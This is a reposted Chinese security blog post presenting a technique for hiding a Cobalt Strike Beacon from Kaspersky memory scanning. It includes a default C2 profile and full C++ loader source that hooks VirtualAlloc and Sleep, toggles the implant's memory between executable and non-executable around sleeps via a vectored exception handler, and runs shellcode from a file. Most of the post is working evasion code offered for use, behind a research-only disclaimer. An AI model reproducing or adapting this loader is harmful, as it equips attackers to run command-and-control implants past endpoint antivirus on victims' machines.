文章来源:“先知社区” ,原文作者:WBGlIl
0x01 前言
记一次cs bypass卡巴斯基内存查杀
-
https://xz.aliyun.com/t/9224
yansu大佬是通过对cs的特征进行bypass,这次让我们换一种思路,尝试从另一个角度来绕过内存扫描,本文仅作为一种思路,大佬误喷。
0x02 正文
首先是准备工作,C2配置一份,为了演示效果我什么也不开就一份最普通的配置
# default sleep time is 60s
set sleeptime "60000";
# jitter factor 0-99% [randomize callback times]
set jitter "0";
# maximum number of bytes to send in a DNS A record request
set maxdns "255";
# indicate that this is the default Beacon profile
set sample_name "Cobalt Strike Beacon (Default)";
# define indicators for an HTTP GET
http-get {
# Beacon will randomly choose from this pool of URIs
set uri "/test";
client {
# base64 encode session metadata and store it in the Cookie header.
metadata {
base64;
header "Cookie";
}
}
server {
# server should send output with no changes
header "Content-Type" "application/octet-stream";
output {
print;
}
}
}
# define indicators for an HTTP POST
http-post {
set uri "/test.php";
client {
header "Content-Type" "application/octet-stream";
# transmit our session identifier as /submit.php?id=[identifier]
id {
parameter "id";
}
# post our output with no real changes
output {
print;
}
}
# The server's response to our HTTP POST
server {
header "Content-Type" "text/html";
# this will just print an empty string, meh...
output {
print;
}
}
}
payload选择生成无阶段原始格式,因为我是x64 loader所以把x64勾选上
思路和代码都很简单,我也不会对Beacon做任何加密,思路如下,首先创建事件用来同步线程
hEvent = CreateEvent(NULL, TRUE, false, NULL);
设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandlern");
printf("异常错误码:%xn", pExcepInfo->ExceptionRecord->ExceptionCode);
printf("线程地址:%llxn", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))
{
printf("恢复Beacon内存属性n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
然后就是HOOK VirtualAlloc和sleep函数,Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描,Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性
static LPVOID (WINAPI *OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大小:%d", Beacon_data_len);
printf("分配地址:%llx n", Beacon_address);
return Beacon_address;
}
static VOID (WINAPI *OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep时间:%dn", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
//用的微软的Detour库
void Hook()
{
DetourRestoreAfterWith(); //避免重复HOOK
DetourTransactionBegin(); // 开始HOOK
DetourUpdateThread(GetCurrentThread());
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourAttach((PVOID*)&OldSleep, NewSleep);
DetourTransactionCommit(); // 提交HOOK
}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
printf("Beacon_set_Memory_attributes启动n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE);
printf("设置Beacon内存属性不可执行n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
ResetEvent(hEvent);
}
return 0;
}
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
CloseHandle(hThread1);
unsigned char *BinData = NULL;
size_t size = 0;
//别忘了向Test.bin最开始的位置插入两三个90
char* szFilePath = "C:\Users\WBG\Downloads\Test.bin";
BinData = ReadBinaryFile(szFilePath, &size);
shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(shellcode_addr, BinData, size);
VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
(*(int(*)()) shellcode_addr)();
0x03 结尾
LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;
BOOL Vir_FLAG=TRUE;
LPVOID shellcode_addr;
static LPVOID (WINAPI *OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大小:%d", Beacon_data_len);
printf("分配地址:%llx n", Beacon_address);
return Beacon_address;
}
static VOID (WINAPI *OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep时间:%dn", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
void Hook()
{
DetourRestoreAfterWith(); //避免重复HOOK
DetourTransactionBegin(); // 开始HOOK
DetourUpdateThread(GetCurrentThread());
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourAttach((PVOID*)&OldSleep, NewSleep);
DetourTransactionCommit(); // 提交HOOK
}
void UnHook()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);
DetourTransactionCommit();
}
size_t GetSize(char * szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char *szFilePath, size_t *size)
{
unsigned char *p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!n");
return 0;
}
p = new unsigned char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
BOOL is_Exception(DWORD64 Exception_addr)
{
if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
{
printf("地址符合:%llxn", Exception_addr);
return true;
}
printf("地址不符合:%llxn", Exception_addr);
return false;
}
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandlern");
printf("异常错误码:%xn", pExcepInfo->ExceptionRecord->ExceptionCode);
printf("线程地址:%llxn", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))
{
printf("恢复Beacon内存属性n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
printf("Beacon_set_Memory_attributes启动n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE);
printf("设置Beacon内存属性不可执行n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);
ResetEvent(hEvent);
}
return 0;
}
int main()
{
hEvent = CreateEvent(NULL, TRUE, false, NULL);
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
Hook();
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
CloseHandle(hThread1);
unsigned char *BinData = NULL;
size_t size = 0;
char* szFilePath = "C:\Users\WBG\Downloads\Test.bin";
BinData = ReadBinaryFile(szFilePath, &size);
shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
memcpy(shellcode_addr, BinData, size);
VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);
(*(int(*)()) shellcode_addr)();
UnHook();
return 0;
}
历史文章推荐:
查看更多精彩内容,还请关注橘猫学安全:
每日坚持学习与分享,麻烦各位师傅文章底部给点个“再看”,感激不尽
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论